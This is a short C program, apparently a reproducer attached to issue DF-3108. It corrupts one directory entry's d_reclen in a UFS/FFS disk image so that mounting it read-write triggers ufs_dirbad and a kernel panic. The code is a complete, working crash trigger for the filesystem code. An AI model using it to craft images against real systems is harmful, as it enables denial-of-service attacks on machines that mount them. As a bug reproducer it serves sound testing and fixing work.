DF-3108 / patch_one.c
/* * patch_one.c — DF-3108: flip one byte of a directory entry so its * d_reclen exceeds the remaining DIRBLKSIZ space (0x0204 = 516 > 512), * making ufs_lookup's walk flag "mangled entry" -> ufs_dirbad -> panic * on a RW mount. * * Usage: patch_one <image> <dir_ino> * Build: cc -O2 -o patch_one patch_one.c */ #include <sys/types.h> #include <sys/param.h> #include <vfs/ufs/ufs_types.h> #include <vfs/ufs/fs.h> #include <vfs/ufs/dinode.h> #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <unistd.h> #include <fcntl.h> static void die(const char *m){ perror(m); exit(2); } static ufs_daddr_t my_cgstart(const struct fs *fs, int c) { return (ufs_daddr_t)(fs->fs_cgoffset * ((c) & ~fs->fs_cgmask) + ((c) & fs->fs_cgmask) * fs->fs_fpg); } int main(int argc, char **argv) { if (argc != 3) { fprintf(stderr, "usage: %s <image> <dir_ino>\n", argv[0]); return 1; } int fd = open(argv[1], O_RDWR); if (fd < 0) die("open"); long ino = atol(argv[2]); struct fs sb; if (pread(fd, &sb, sizeof(sb), SBOFF) != sizeof(sb)) die("read sb"); if (sb.fs_magic != FS_MAGIC) { fprintf(stderr, "not FFS\n"); return 2; } int cg = ino / sb.fs_ipg; ufs_daddr_t cgimin = my_cgstart(&sb, cg) + sb.fs_iblkno; long idx = ino % sb.fs_ipg; ufs_daddr_t i_frag = cgimin + ((idx / sb.fs_inopb) << sb.fs_fragshift); off_t ibyte = (off_t)i_frag * sb.fs_fsize + (idx % sb.fs_inopb) * sizeof(struct ufs1_dinode); struct ufs1_dinode di; if (pread(fd, &di, sizeof(di), ibyte) != sizeof(di)) die("read inode"); if (di.di_db[0] <= 0) { fprintf(stderr, "no data block\n"); return 2; } off_t d_off = (off_t)di.di_db[0] * sb.fs_fsize; /* entry @0: set d_reclen = 516 (0x0204) — exceeds 512-0. */ uint8_t hdr[8]; if (pread(fd, hdr, 8, d_off) != 8) die("read dirblock"); printf("before: ino=%u reclen=%u\n", (unsigned)(hdr[0] | hdr[1]<<8 | hdr[2]<<16 | (uint32_t)hdr[3]<<24), (unsigned)(hdr[4] | hdr[5]<<8)); hdr[4] = 0x04; hdr[5] = 0x02; if (pwrite(fd, hdr, 8, d_off) != 8) die("write dirblock"); printf("after: reclen=%u -> mangled (>512 at offset 0)\n", (unsigned)(hdr[4] | hdr[5]<<8)); return 0; } |